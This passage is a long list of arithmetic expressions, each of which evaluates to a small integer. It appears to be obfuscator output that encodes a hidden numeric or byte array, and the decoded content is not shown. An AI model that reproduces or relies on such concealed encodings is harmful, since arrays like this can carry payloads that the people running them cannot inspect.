- 29673, 577739745858880485916 - 577739745858880485849, (1904842212441365702 + 22248) // 2 - 952421106220682851 - 11021, 57104119338574400144 - 57104119338574400118, 683845236019482779212 - 683845236019482779064, (6264266663229310642 + 15606) // 2 - 3132133331614655321 - 7650, (1439613627344102124 + 7826) // 2 - 719806813672051062 - 3870, 483712291922054572221 - 483712291922054572094, (14678631087574135418 + 5904) // 2 - 7339315543787067709 - 2928, (7867321219460541870 + 76680) // 2 - 3933660609730270935 - 38250, 549189339890862619198 - 549189339890862619076, (6269996705227140762 + 81536) // 2 - 3134998352613570381 - 40670, (3735695645997425272 + 53724) // 2 - 1867847822998712636 - 26620, (4633986995880286524 + 116) // 2 - 2316993497940143262 - 57, (6190213863789150490 + 104646) // 2 - 3095106931894575245 - 52160, 915807249380247551322 - 915807249380247551204, (5003254388089534112 + 61488) // 2 - 2501627194044767056 - 30681, (3945927135499392236 + 19558) // 2 - 1972963567749696118 - 9652, (1549551331158715002 + 189200) // 2 - 774775665579357501 - 94380, (2677109616544928890 + 216972) // 2 - 1338554808272464445 - 108240, (11059967652687225680 + 35800) // 2 - 5529983826343612840 - 17721, (12850839487899148968 + 49932) // 2 - 6425419743949574484 - 24909, (7661425226893226674 + 104512) // 2 - 3830712613446613337 - 52072, (8746867837508476820 + 43120) // 2 - 4373433918754238410 - 21406, 140145370546010485437 - 140145370546010485328, (1741399742595552292 + 82560) // 2 - 870699871297776146 - 41194, 767406390063707699910 - 767406390063707699800, (13511463659770624486 + 96120) // 2 - 6755731829885312243 - 47880, (8232313825050595082 + 35424) // 2 - 4116156912525297541 - 17604, 108262966689531974520 - 108262966689531974385, (9951547868621794142 + 95888) // 2 - 4975773934310897071 - 47840, 1854750140057760600403 - 1854750140057760600186, 673262447522882358321 - 673262447522882358198, (636584061692627830 + 11252) // 2 - 318292030846313915 - 5568, 1350328073076621285426 - 1350328073076621285179, (8209117868838114990 + 41322) // 2 - 4104558934419057495 - 20564, (4664925074483523220 + 23664) // 2 - 2332462537241761610 - 11658, 35801342384671430175 - 35801342384671430000, (8992147601096248928 + 11448) // 2 - 4496073800548124464 - 5706, (5861095836678528114 + 10680) // 2 - 2930547918339264057 - 5280, 1387316603397320482080 - 1387316603397320481840, 182842922923399159543 - 182842922923399159472, 1203344024886558838416 - 1203344024886558838248, (9195841334424455000 + 45500) // 2 - 4597920667212227500 - 22625, (11003223941465875324 + 19964) // 2 - 5501611970732937662 - 9951, (10101593937196562494 + 82110) // 2 - 5050796968598281247 - 40950, 172720772868472003617 - 172720772868472003514, (18173112189000870458 + 152928) // 2 - 9086556094500435229 - 76228, 1405079951911478004780 - 1405079951911478004600, (1450159541445619772 + 13452) // 2 - 725079770722809886 - 6608, 223050984571800068160 - 223050984571800068000, (11468638293828170634 + 10488) // 2 - 5734319146914085317 - 5152, 46528109492889748948 - 46528109492889748850, (5969425923665933302 + 72094) // 2 - 2984712961832966651 - 35934, 1271542657449150747540 - 1271542657449150747320, 934704185516262177861 - 934704185516262177702, (10042203148018744200 + 61206) // 2 - 5021101574009372100 - 30502, 130178052202996197650 - 130178052202996197576, (15456876414027868862 + 38720) // 2 - 7728438207013934431 - 19272, 733283750475598881074 - 733283750475598880907, (12838597217363145074 + 65262) // 2 - 6419298608681572537 - 32558, (5030294268984511960 + 47918) // 2 - 2515147134492255980 - 23862, 1910030922011487544848 - 1910030922011487544625, (9882196181507946660 + 52746) // 2 - 4941098090753973330 - 26196, 1378289798507013948395 - 1378289798507013948150, (6722883088312243030 + 27144) // 2 - 3361441544156121515 - 13398, 722461717664948915362 - 722461717664948915244, 46018207856648497344 - 46018207856648497288, (7490615905554604520 + 63364) // 2 - 3745307952777302260 - 31536, 435726669330803107200 - 435726669330803107140, 119449406258078308406 - 119449406258078308209, 566633305858548029920 - 566633305858548029829, (2580704158235126744 + 35750) // 2 - 1290352079117563372 - 17810, 54251545351282801542 - 54251545351282801524, 868780052121758804400 - 868780052121758804280, 194256916022001566400 - 194256916022001566320, (18063759749776982014 + 101952) // 2 - 9031879874888491007 - 50799, (4111624881991842966 + 85526) // 2 - 2055812440995921483 - 42614, 117568922910113783004 - 117568922910113782848, (11196901693292807652 + 65850) // 2 - 5598450846646403826 - 32850, 210837680665751438964 - 210837680665751438838, (4301158880583141036 + 113844) // 2 - 2150579440291570518 - 56763, 242791762462543564462 - 242791762462543564421, (3326850721807155904 + 9144) // 2 - 1663425360903577952 - 4536, (10149126912836697564 + 16992) // 2 - 5074563456418348782 - 8424, (1900404483167861884 + 122892) // 2 - 950202241583930942 - 61313, 1520306774684930709755 - 1520306774684930709520, (3491183355587829302 + 21828) // 2 - 1745591677793914651 - 10863, 294325508675435449430 - 294325508675435449240, 340355963497360418400 - 340355963497360418352, 1452287420159717842848 - 1452287420159717842624, (12929799076324382614 + 113568) // 2 - 6464899538162191307 - 56576, (2410508292317667236 + 26196) // 2 - 1205254146158833618 - 12987, 121037668669116707970 - 121037668669116707860, 527590968882731780741 - 527590968882731780668, 380176737710723528160 - 380176737710723528045, 569473845920353298700 - 569473845920353298565, (12296300811887862662 + 23360) // 2 - 6148150405943931331 - 11648, 863894836966452239463 - 863894836966452239356, 78802675319382180111 - 78802675319382180100, (9555043264472413480 + 149034) // 2 - 4777521632236206740 - 74340, 505309643137196924065 - 505309643137196923920, 22939797452135143287 - 22939797452135143176, (2066758712171757236 + 91430) // 2 - 1033379356085878618 - 45492, 14577851943660510022 - 14577851943660510008, 520669614440055515405 - 520669614440055515224, 743889645548375726 - 743889645548375667, 16451281552851690012 - 16451281552851690000, (17514424575849906400 + 22080) // 2 - 8757212287924953200 - 10980, (18382805809405475592 + 3864) // 2 - 9191402904702737796 - 1926, 1169153844424243824805 - 1169153844424243824626, (14233542694765072504 + 42488) // 2 - 7116771347382536252 - 21018, (7045790296709819612 + 8174) // 2 - 3522895148354909806 - 4020, (10002496161137985718 + 51240) // 2 - 5001248080568992859 - 25559, 29029855799499479460 - 29029855799499479370, 2223172962824914958040 - 2223172962824914957785, (6760428306409326688 + 16236) // 2 - 3380214153204663344 - 8019, (8040424611601545298 + 95172) // 2 - 4020212305800772649 - 47432, (14750995689635403216 + 63720) // 2 - 7375497844817701608 - 31742, 652726035975337464265 - 652726035975337464102, 1134152969145021859800 - 1134152969145021859670, (3108084104977199228 + 77832) // 2 - 1554042052488599614 - 38778, 144705001871149638597 - 144705001871149638408, 2069370999515608001764 - 2069370999515608001528, 392711033325228726528 - 392711033325228726474, (16696073283449798254 + 57938) // 2 - 8348036641724899127 - 28910, 2206994749066502996804 - 2206994749066502996560, 918436614692570886874 - 918436614692570886756, 625456848615314979420 - 625456848615314979240, (12360802925424935416 + 49644) // 2 - 6180401462712467708 - 24759, 21656426613484219740 - 21656426613484219725, (14207260684071583796 + 78912) // 2 - 7103630342035791898 - 39312, 2060079804039923232480 - 2060079804039923232252, (15987726954952695382 + 61752) // 2 - 7993863477476347691 - 30814, 351123556236500077558 - 351123556236500077340, (11348945381378473374 + 51240) // 2 - 5674472690689236687 - 25410, 142206367772335401486 - 142206367772335401419, (6632100219200571750 + 44520) // 2 - 3316050109600285875 - 22200, 177008490470400381263 - 177008490470400381216, (12684958781644551854 + 176576) // 2 - 6342479390822275927 - 88110, 705078843724556244000 - 705078843724556243840, 252964906887002554188 - 252964906887002554126, (16419956599717790666 + 70228) // 2 - 8209978299858895333 - 34920, (15757643763521487338 + 39044) // 2 - 7878821881760743669 - 19479, (10302782268197810126 + 21700) // 2 - 5151391134098905063 - 10788, (1250834178368157246 + 91356) // 2 - 625417089184078623 - 45540, 394634259735511778796 - 394634259735511778685, 191484502238557254831 - 191484502238557254780, (5791989677098960338 + 8100) // 2 - 2895994838549480169 - 4023, (7308546899454986526 + 3360) // 2 - 3654273449727493263 - 1664, 1417419345170317059296 - 1417419345170317059108, 484398823550822129218 - 484398823550822129037, 82131269840297613702 - 82131269840297613596, (13065974008811107798 + 648) // 2 - 6532987004405553899 - 318, 53745696314702849300 - 53745696314702849280, 534292783985354840400 - 534292783985354840320, 338534018942665234440 - 338534018942665234400, 120585733651704891232 - 120585733651704891180, (9725658694136785094 + 49056) // 2 - 4862829347068392547 - 24455, 1107866522999187013188 - 1107866522999187013055, 56295251007684772360 - 56295251007684772352, (6436902812249734928 + 72420) // 2 - 3218451406124867464 - 35955, (16915656455112160002 + 108232) // 2 - 8457828227556080001 - 53953, 1052169174868186113108 - 1052169174868186112929, (14204548301050926264 + 2988) // 2 - 7102274150525463132 - 1488, 207725461936882529856 - 207725461936882529808, 782263004652090595252 - 782263004652090595134, (9989845853716026358 + 174264) // 2 - 4994922926858013179 - 86920, (15604529772505513804 + 19160) // 2 - 7802264886252756902 - 9560, 417180492338021758596 - 417180492338021758377, 457814036496540265248 - 457814036496540265152, 69533623807380247214 - 69533623807380247095, (14834707721106833736 + 31088) // 2 - 7417353860553416868 - 15486, (17636374899224950020 + 12880) // 2 - 8818187449612475010 - 6348, 1488406066282811424700 - 1488406066282811424525, 599642547792260907307 - 599642547792260907206, (1246356986166483644 + 126140) // 2 - 623178493083241822 - 62832, 13825952144878957742 - 13825952144878957740, 80248651574297032658 - 80248651574297032632, 245985360845555191320 - 245985360845555191290, 388584834249645161085 - 388584834249645160992, 18586531732577093340 - 18586531732577093330, 1310386531151816963460 - 1310386531151816963270, 223543210444651942511 - 223543210444651942470, 759669656237450535753 - 759669656237450535654, (2542153025614427468 + 61246) // 2 - 1271076512807213734 - 30510, 1235413877649412463548 - 1235413877649412463366, 612303089677014412350 - 612303089677014412125, (12685762930485427900 + 60520) // 2 - 6342881465242713950 - 30171, (6976624382867122022 + 29484) // 2 - 3488312191433561011 - 14664, (256974405946166486 + 29028) // 2 - 128487202973083243 - 14391, (17992219422531412920 + 238576) // 2 - 8996109711265706460 - 119040, (2152076221001759198 + 110532) // 2 - 1076038110500879599 - 55083, 22226302135881458152 - 22226302135881458144, (10214690556802698386 + 4080) // 2 - 5107345278401349193 - 2035, (9103823936677739356 + 136416) // 2 - 4551911968338869678 - 68034, (15548136632066734738 + 55944) // 2 - 7774068316033367369 - 27720, 732546554173625500479 - 732546554173625500326, (16912663602632984722 + 69296) // 2 - 8456331801316492361 - 34526, (2379001067387857610 + 64578) // 2 - 1189500533693928805 - 32148, (8455332237440769690 + 90472) // 2 - 4227666118720384845 - 45064, (14938199073547494852 + 16308) // 2 - 7469099536773747426 - 8100, 131706431151135985680 - 131706431151135985458, 840980521391217214315 - 840980521391217214064, 276244150597478442708 - 276244150597478442610, 18286414641055913328 - 18286414641055913304, (14497485106537517446 + 86520) // 2 - 7248742553268758723 - 43120, (13057594382833729910 + 36960) // 2 - 6528797191416864955 - 18432, (13935628842171197950 + 774) // 2 - 6967814421085598975 - 384, 85423595189106529096 - 85423595189106529068, 651485175854705676484 - 651485175854705676393, 93238365361163821260 - 93238365361163821249, (16881523590372384418 + 122720) // 2 - 8440761795186192209 - 61152, (618521819026534968 + 33600) // 2 - 309260909513267484 - 16752, 90357062228347874058 - 90357062228347873992, 687162099891664969440 - 687162099891664969308, (14217473023563184144 + 50778) // 2 - 7108736511781592072 - 25272, (5818656486885912636 + 121136) // 2 - 2909328243442956318 - 60434, (1006992929800798138 + 99384) // 2 - 503496464900399069 - 49446, 1249281705944244079208 - 1249281705944244079009, (10233788076796224940 + 56256) // 2 - 5116894038398112470 - 28032, (10089936606202816492 + 13818) // 2 - 5044968303101408246 - 6860, (65614364053718122 + 44500) // 2 - 32807182026859061 - 22200, (3817669325362658062 + 56870) // 2 - 1908834662681329031 - 28200, 162592087638127862210 - 162592087638127862079, (3687195068332970716 + 112056) // 2 - 1843597534166485358 - 55867, (4018096051195478336 + 5580) // 2 - 2009048025597739168 - 2781, (14195003277741349410 + 51340) // 2 - 7097501638870674705 - 25500, 276987433379306030557 - 276987433379306030526, (17896023305507595888 + 1360) // 2 - 8948011652753797944 - 678, 135700502575329958304 - 135700502575329958272, (12733167539503509024 + 16050) // 2 - 6366583769751754512 - 7918, (1924318587056405558 + 88452) // 2 - 962159293528202779 - 43992, (14559032410776688632 + 46284) // 2 - 7279516205388344316 - 23084, (5822393537848829212 + 173582) // 2 - 2911196768924414606 - 86562, (2366576946134845358 + 156980) // 2 - 1183288473067422679 - 78323, (6085859713700230114 + 37600) // 2 - 3042929856850115057 - 18565, (10848173565966586592 + 17328) // 2 - 5424086782983293296 - 8626, 1561343101633773996480 - 1561343101633773996264, (5924100870691891938 + 17900) // 2 - 2962050435345945969 - 8900, 13309213484834584824 - 13309213484834584820, 1398549009818932626978 - 1398549009818932626819, 827257765094536626774 - 827257765094536626620, (15273797251272790450 + 76096) // 2 - 7636898625636395225 - 37932, (9478106116274387410 + 113088) // 2 - 4739053058137193705 - 56358, 71320478142341575550 - 71320478142341575485, 177741962260624847424 - 177741962260624847376, (12153071175739320150 + 17864) // 2 - 6076535587869660075 - 8855, 346359736516347090105 - 346359736516347090046, (14786362419857683846 + 63140) // 2 - 7393181209928841923 - 31365, 283049459647911781616 - 283049459647911781572, 136173171568074314505 - 136173171568074314350, (8062079699669666266 + 72584) // 2 - 4031039849834833133 - 36206, 509942634533927192500 - 509942634533927192360, 114140762021698184887 - 114140762021698184870, (7037332027996595390 + 245016) // 2 - 3518666013998297695 - 122259, 542093754928378977792 - 542093754928378977623, (1503200560680803496 + 48576) // 2 - 751600280340401748 - 24112, 567155129958455301725 - 567155129958455301648, (7204978197625756732 + 62008) // 2 - 3602489098812878366 - 30912, 281927460981674336422 - 281927460981674336309, (14877724740727640266 + 77200) // 2 - 7438862370363820133 - 38500, (6793126178615142782 + 54000) // 2 - 3396563089307571391 - 26880, 781974266815178579986 - 781974266815178579900, (388013117363369502 + 33480) // 2 - 194006558681684751 - 16704, (2541445877321056532 + 116184) // 2 - 1270722938660528266 - 57886, (18028221556076051944 + 31008) // 2 - 9014110778038025972 - 15456, 1598528023402138715828 - 1598528023402138715634, 247290837210905425938 - 247290837210905425756, 2204385247754438642000 - 2204385247754438641750, (302285692760339658 + 207360) // 2 - 151142846380169829 - 103464, 11732638925345011550 - 11732638925345011548, (8894538845231954046 + 47250) // 2 - 4447269422615977023 - 23520, (17971781317315161320 + 109500) // 2 - 8985890658657580660 - 54500, (2401930118822139136 + 117588) // 2 - 1200965059411069568 - 58671, 212883567591167581810 - 212883567591167581773, 319417277438657389738 - 319417277438657389532, (7582170340882710882 + 74880) // 2 - 3791085170441355441 - 37360, (9709831846303541966 + 34408) // 2 - 4854915923151770983 - 17158, 162310521614146837770 - 162310521614146837535, (7563126881587553086 + 37120) // 2 - 3781563440793776543 - 18432, (15145382750441282822 + 42500) // 2 - 7572691375220641411 - 21000, 603889537309155381812 - 603889537309155381583, (9556196801923812534 + 13334) // 2 - 4778098400961906267 - 6608, 36643009873161964176 - 36643009873161964128, (14206239558406864580 + 2320) // 2 - 7103119779203432290 - 1156, (18066043352737810726 + 27416) // 2 - 9033021676368905363 - 13559, 37767997347321078562 - 37767997347321078531, (4629395981705944846 + 50050) // 2 - 2314697990852972423 - 24934, 94048256531336223400 - 94048256531336223380, (5651083895992693134 + 41318) // 2 - 2825541947996346567 - 20586, 186742473588142420095 - 186742473588142420032, (12414350297287009644 + 17682) // 2 - 6207175148643504822 - 8820, 502301234982435469056 - 502301234982435468909, 656066490536669012800 - 656066490536669012598, 264223352628748376430 - 264223352628748376271, (15520189269974045772 + 486) // 2 - 7760094634987022886 - 240, (15372686420855698410 + 22632) // 2 - 7686343210427849205 - 11270, (9619506524873510194 + 3800) // 2 - 4809753262436755097 - 1875, (6366515118032580196 + 65400) // 2 - 3183257559016290098 - 32482, (368733571103003330 + 176412) // 2 - 184366785551501665 - 87965, 596412760895569763758 - 596412760895569763676, (13175625725457794522 + 78660) // 2 - 6587812862728897261 - 39159, (10785416017091439988 + 102188) // 2 - 5392708008545719994 - 50976, (9167976051513881508 + 84744) // 2 - 4583988025756940754 - 42240, 336453594639895915259 - 336453594639895915042, 99945462548220112832 - 99945462548220112764, (15455461707763201862 + 72800) // 2 - 7727730853881600931 - 36270, (7609673658117033048 + 24768) // 2 - 3804836829058516524 - 12212, 301082672962140927234 - 301082672962140927156, 143712195028266566416 - 143712195028266566295, 195440195267935467648 - 195440195267935467552, 537763530111070350345 - 537763530111070350204, 390059488903735052950 - 390059488903735052900, 25783078015912717500 - 25783078015912717280, (6903634696202160552 + 50796) // 2 - 3451817348101080276 - 25347, (12651483039876349924 + 76032) // 2 - 6325741519938174962 - 37872, 975172033576978972827 - 975172033576978972704, (5432394022751517768 + 146500) // 2 - 2716197011375758884 - 73000, (10160214536970642502 + 19494) // 2 - 5080107268485321251 - 9576, 290329448099021436504 - 290329448099021436462, (15755742057268753660 + 6240) // 2 - 7877871028634376830 - 3108, 430964975776183987557 - 430964975776183987484, 844475975454823005700 - 844475975454823005600, (394134301797236670 + 138950) // 2 - 197067150898618335 - 69300, (1673737395299666242 + 133452) // 2 - 836868697649833121 - 66528, (5612188396627558152 + 251496) // 2 - 2806094198313779076 - 125496, 229095063153960886194 - 229095063153960886168, 50703586722223288280 - 50703586722223288224, 723064077142847470184 - 723064077142847470096, 1486250383513292478010 - 1486250383513292477808, 163774348545188522258 - 163774348545188522229, (11663509786343329186 + 12740) // 2 - 5831754893171664593 - 6335, 453512086587717696693 - 453512086587717696462, (12465047688863753748 + 115328) // 2 - 6232523844431876874 - 57528, (10884933697952625898 + 13860) // 2 - 5442466848976312949 - 6864, (8560506127415196764 + 85668) // 2 - 4280253063707598382 - 42592, 109622272504569864834 - 109622272504569864760, (18260298634744248052 + 68098) // 2 - 9130149317372124026 - 33970, 7526891806897708216 - 7526891806897708208, 1480927047661895680476 - 1480927047661895680274, 468895259256331335480 - 468895259256331335350, (11030420012026953762 + 34020) // 2 - 5515210006013476881 - 16956, (6098205962545991094 + 28800) // 2 - 3049102981272995547 - 14280, 418515492206642016342 - 418515492206642016239, (1504140205468655326 + 98440) // 2 - 752070102734327663 - 49105, 67595505573625486750 - 67595505573625486700, (253559010692592358 + 70278) // 2 - 126779505346296179 - 34980, (2436933581706376964 + 22374) // 2 - 1218466790853188482 - 11154, 44320346767635367722 - 44320346767635367716, 317092649366887622272 - 317092649366887622228, 82614571377543969654 - 82614571377543969588, (2411627925365687468 + 202176) // 2 - 1205813962682843734 - 100872, 70518849481142966466 - 70518849481142966247, 489232821287822221467 - 489232821287822221368, (18094620648272866096 + 14756) // 2 - 9047310324136433048 - 7259, 149567692398798861275 - 149567692398798861228, 72415955602950331944 - 72415955602950331905, 191129787844907617238 - 191129787844907617212, (6203037741257838614 + 53742) // 2 - 3101518870628919307 - 26702, 796675384847039095125 - 796675384847039094900, (78972625115221786 + 4086) // 2 - 39486312557610893 - 2034, 411913129512682660868 - 411913129512682660666, (12180927895855989216 + 168300) // 2 - 6090463947927994608 - 83895, (8011448270726156744 + 66402) // 2 - 4005724135363078372 - 33108, (15682899261381599298 + 95472) // 2 - 7841449630690799649 - 47532, 1072198499672958827940 - 1072198499672958827776, 23636819045600408290 - 23636819045600408280, (4376405555542918360 + 118440) // 2 - 2188202777771459180 - 59094, (6084996921269445460 + 20372) // 2 - 3042498460634722730 - 10164, (16819549558509643958 + 24174) // 2 - 8409774779254821979 - 12036, 1209695329345802987520 - 1209695329345802987315, (6975877970862900092 + 14016) // 2 - 3487938985431450046 - 6976, 42241248060337008064 - 42241248060337008032, (11053359810097012772 + 123930) // 2 - 5526679905048506386 - 61722, 1578729398362943379385 - 1578729398362943379168, (11455958104477415634 + 45570) // 2 - 5727979052238707817 - 22680, 245664278664104125920 - 245664278664104125860, (16628439345466693562 + 187880) // 2 - 8314219672733346781 - 93696, (13170739229611988912 + 10742) // 2 - 6585369614805994456 - 5330, 102464468699951227080 - 102464468699951227065, (1200511516751076252 + 159950) // 2 - 600255758375538126 - 79800, (11995047239652101262 + 37440) // 2 - 5997523619826050631 - 18560, (9807930475251751450 + 8382) // 2 - 4903965237625875725 - 4180, 454467874415115166530 - 454467874415115166340, (17613932545934865898 + 131544) // 2 - 8806966272967432949 - 65569, (11938988005437721266 + 39160) // 2 - 5969494002718860633 - 19525, 1445079216502187614080 - 1445079216502187613825, 26314186718306201465 - 26314186718306201292, (12070373438226616344 + 33098) // 2 - 6035186719113308172 - 16302, 1073434032608785810046 - 1073434032608785809829, (16857948235221201624 + 20792) // 2 - 8428974117610600812 - 10283, (17816746069147049336 + 85952) // 2 - 8908373034573524668 - 42840, 718827274002332087429 - 718827274002332087280, 401861910131339839720 - 401861910131339839664, 89584664857298754444 - 89584664857298754408, 174938380336944475896 - 174938380336944475772, (5059885195775346814 + 39216) // 2 - 2529942597887673407 - 19456, 220981188242138465817 - 220981188242138465700, (465799007766074218 + 85680) // 2 - 232899503883037109 - 42588, (667515886811015100 + 71484) // 2 - 333757943405507550 - 35581, 392643527225090376 - 392643527225090364, 885152332929122777532 - 885152332929122777376, 667809858227492131502 - 667809858227492131324, 20317632233729276830 - 20317632233729276820, 726231765066922652205 - 726231765066922651986, (589308741689554112 + 21624) // 2 - 294654370844777056 - 10706, (15827850255629773950 + 72352) // 2 - 7913925127814886975 - 36024, 846007131521911979178 - 846007131521911979009, 890946885625157172885 - 890946885625157172630, (656139786701436544 + 17100) // 2 - 328069893350718272 - 8532, 1106003680120833082314 - 1106003680120833082177, (11326002947230959078 + 14960) // 2 - 5663001473615479539 - 7460, (11814592177097476704 + 1392) // 2 - 5907296088548738352 - 684, (17305474608341866826 + 76616) // 2 - 8652737304170933413 - 38151, (12053514902116033604 + 55118) // 2 - 6026757451058016802 - 27432, 177216256089346503348 - 177216256089346503326, (14497995752488202006 + 158000) // 2 - 7248997876244101003 - 78800, 245928842871950227143 - 245928842871950227110, (172597956031319450 + 3800) // 2 - 86298978015659725 - 1895, 272175448397250242952 - 272175448397250242870, (4137996817391545582 + 25326) // 2 - 2068998408695772791 - 12596, 890737048956803469000 - 890737048956803468880, (18239008943767100674 + 21736) // 2 - 9119504471883550337 - 10824, 1130886646179239521321 - 1130886646179239521070, 196716150080622315794 - 196716150080622315753, (13862936795832662422 + 91476) // 2 - 6931468397916331211 - 45584, 88810715062186650558 - 88810715062186650400, 126835882339498307412 - 126835882339498307318, 536475341335793634132 - 536475341335793633969, (7978830697335214906 + 57072) // 2 - 3989415348667607453 - 28362, 670669444017879470745 - 670669444017879470600, 275840037787666015336 - 275840037787666015152, 1274748884256858901468 - 1274748884256858901326, 168641039270546832960 - 168641039270546832915, 545744125519265953400 - 545744125519265953177, 335718944770856747848 - 335718944770856747760, 46969908954968822949 - 46969908954968822928, (6510735897458232718 + 6120) // 2 - 3255367948729116359 - 3050, 393006322503808027924 - 393006322503808027742, 308416889881099635983 - 308416889881099635930, (3878146706891255432 + 23754) // 2 - 1939073353445627716 - 11840, (8034555809805468654 + 14596) // 2 - 4017277904902734327 - 7216, (3605996167456530384 + 147488) // 2 - 1802998083728265192 - 73568, 102547170252826082888 - 102547170252826082862, 1415672357806979286630 - 1415672357806979286420, (6860642766253170012 + 27048) // 2 - 3430321383126585006 - 13478, 1390070655374079446961 - 1390070655374079446742, (11239120051073964524 + 31688) // 2 - 5619560025536982262 - 15776, 1046897868620427338496 - 1046897868620427338304, (3403176566465765744 + 14040) // 2 - 1701588283232882872 - 6968, (8885771953389287286 + 63840) // 2 - 4442885976694643643 - 31752, 35423485281625411971 - 35423485281625411894, 454127271519631534788 - 454127271519631534650, 1326963423270914206470 - 1326963423270914206239, (4612029512455732608 + 48132) // 2 - 2306014756227866304 - 23940, 162809429235674379016 - 162809429235674378772, (14933285676956106994 + 19740) // 2 - 7466642838478053497 - 9823, 1755181629562113872658 - 1755181629562113872460, 11796297750669870558 - 11796297750669870541, (7669607057294875018 + 14396) // 2 - 3834803528647437509 - 7076, (17496271135610607086 + 113472) // 2 - 8748135567805303543 - 56592, (8031310777575943410 + 6900) // 2 - 4015655388787971705 - 3425, 498992646844411373565 - 498992646844411373380, (2754913092028353706 + 47600) // 2 - 1377456546014176853 - 23664, (15416336608478522972 + 65880) // 2 - 7708168304239261486 - 32696, 135821525403197374242 - 135821525403197374204, (7038597568019239384 + 8550) // 2 - 3519298784009619692 - 4200, 113505999682847234292 - 113505999682847234274, 41181770208895244720 - 41181770208895244640, (12793333022136319048 + 57600) // 2 - 6396666511068159524 - 28740, (9786822962157864200 + 121040) // 2 - 4893411481078932100 - 60384, (3263439253592481692 + 138160) // 2 - 1631719626796240846 - 68860, 55568653309558346326 - 55568653309558346280, 1107705308683647967358 - 1107705308683647967191, (12811083124580056082 + 150374) // 2 - 6405541562290028041 - 75026, 934239712005447496 - 934239712005447449, (3245539593815113686 + 26568) // 2 - 1622769796907556843 - 13248, 292508510049351051984 - 292508510049351051808, 3564030789333816554 - 3564030789333816553, (3626287073542245580 + 24984) // 2 - 1813143536771122790 - 12456, 68580562595615396864 - 68580562595615396832, (1478039767084415370 + 42768) // 2 - 739019883542207685 - 21340, (9833753722377017072 + 16422) // 2 - 4916876861188508536 - 8160, 1483595603189184044304 - 1483595603189184044061, 1936484282163269924826 - 1936484282163269924604, 78399573619825504130 - 78399573619825503960, (6459656885996869914 + 19304) // 2 - 3229828442998434957 - 9525, (2593684513733587182 + 125976) // 2 - 1296842256866793591 - 62814, (8652202683708610626 + 5246) // 2 - 4326101341854305313 - 2580, (18325967439979964626 + 45150) // 2 - 9162983719989982313 - 22446, 262711356054470464680 - 262711356054470464592, (10923324583911182 + 100868) // 2 - 5461662291955591 - 50283, (8312823486800771180 + 330) // 2 - 4156411743400385590 - 162, 118818818941814777632 - 118818818941814777616, 243841835724020424835 - 243841835724020424798, (5693473994513125416 + 52128) // 2 - 2846736997256562708 - 25920, (11163297424986476946 + 11808) // 2 - 5581648712493238473 - 5822, (13727989536121499542 + 29100) // 2 - 6863994768060749771 - 14453, (6537751479006527024 + 90092) // 2 - 3268875739503263512 - 44844, (4801088092409914752 + 53760) // 2 - 2400544046204957376 - 26824, (1082080948888450552 + 16926) // 2 - 541040474444225276 - 8372, 1704332665227873717800 - 1704332665227873717600, (13439083704929897282 + 94320) // 2 - 6719541852464948641 - 47040, (10927751967856405332 + 42624) // 2 - 5463875983928202666 - 21090, 138636056911078378125 - 138636056911078377998, (15618364642676979836 + 154020) // 2 - 7809182321338489918 - 76840, 32234702371701012416 - 32234702371701012334, 476366239773091944000 - 476366239773091943760, (12019398919300999552 + 81320) // 2 - 6009699459650499776 - 40553, 63431439198017406408 - 63431439198017406316, 11701391707971426906 - 11701391707971426897, (17832944178841644260 + 50400) // 2 - 8916472089420822130 - 25144, (10664211532560868790 + 6348) // 2 - 5332105766280434395 - 3128, (9608509909245270730 + 6466) // 2 - 4804254954622635365 - 3172, (6929786531349070554 + 11792) // 2 - 3464893265674535277 - 5852, 1652322268382174998635 - 1652322268382174998440, 845353808489030578488 - 845353808489030578272, 27542339601449816016 - 27542339601449815944, (11274807378223423216 + 175932) // 2 - 5637403689111711608 - 87723, 604600801531416582354 - 604600801531416582201, (6839512908561559278 + 26112) // 2 - 3419756454280779639 - 12988, (4544905921859325566 + 160580) // 2 - 2272452960929662783 - 80105, 1170789102189528207039 - 1170789102189528206898, 39854589295513082934 - 39854589295513082865, (78098893501970396 + 26788) // 2 - 39049446750985198 - 13320, 852772484293619036049 - 852772484293619035806, 1717042784725816006275 - 1717042784725816006050, 769505663783364022557 - 769505663783364022438, 115947825716525208768 - 115947825716525208752, (12309937879044807422 + 119886) // 2 - 6154968939522403711 - 59784, 17065300535276761768 - 17065300535276761740, (18368652672018140166 + 4590) // 2 - 9184326336009070083 - 2290, (5315336486796031068 + 74528) // 2 - 2657668243398015534 - 37127, (4682418247412981802 + 19024) // 2 - 2341209123706490901 - 9396, (14373019016884041226 + 119600) // 2 - 7186509508442020613 - 59600, (1429059815560930806 + 31234) // 2 - 714529907780465403 - 15456, (8677275396689735646 + 28060) // 2 - 4338637698344867823 - 13984, (6629482416042808388 + 27538) // 2 - 3314741208021404194 - 13720, (17013167802420112198 + 21600) // 2 - 8506583901210056099 - 10776, 100451024706281865459 - 100451024706281865402, 294086049909009935265 - 294086049909009935070, (9949359068774769752 + 102292) // 2 - 4974679534387384876 - 51039, 294559074571227096858 - 294559074571227096640, (13522212599557796926 + 192712) // 2 - 6761106299778898463 - 96135, (10167108783074116384 + 116482) // 2 - 5083554391537058192 - 58102, 452219479171794203525 - 452219479171794203430, (17271545423585869550 + 2330) // 2 - 8635772711792934775 - 1160, (4912992964290961060 + 3920) // 2 - 2456496482145480530 - 1946, 109351585143530975281 - 109351585143530975214, (7772906430131142014 + 34850) // 2 - 3886453215065571007 - 17340, (18288234732381991138 + 165660) // 2 - 9144117366190995569 - 82579, (9331530209056119736 + 91476) // 2 - 4665765104528059868 - 45540, 1137571195502497577094 - 1137571195502497576860, 890936401466034587938 - 890936401466034587720, (7256003674412775454 + 92872) // 2 - 3628001837206387727 - 46342, 585918394248189174936 - 585918394248189174764, (8134321455562421286 + 138260) // 2 - 4067160727781210643 - 68907, 481264258856465257760 - 481264258856465257600, 6675161283938168685 - 6675161283938168670, (15190177030387870556 + 15846) // 2 - 7595088515193935278 - 7904, (2752818243321506058 + 110160) // 2 - 1376409121660753029 - 54876, (14596349082922231450 + 80884) // 2 - 7298174541461115725 - 40296, 519477821234363545998 - 519477821234363545931, (7722951474851498208 + 119848) // 2 - 3861475737425749104 - 59713, 510461738247886765605 - 510461738247886765454, (12020786129004130546 + 10880) // 2 - 6010393064502065273 - 5400, 143091546689582057940 - 143091546689582057770, 519977006304939317821 - 519977006304939317648, 478396911948487391032 - 478396911948487390896, (13815754267994059336 + 10120) // 2 - 6907877133997029668 - 5005, 289076850511447417845 - 289076850511447417704, 83236621621957636272 - 83236621621957636261, (9410694397911464508 + 156060) // 2 - 4705347198955732254 - 77775, 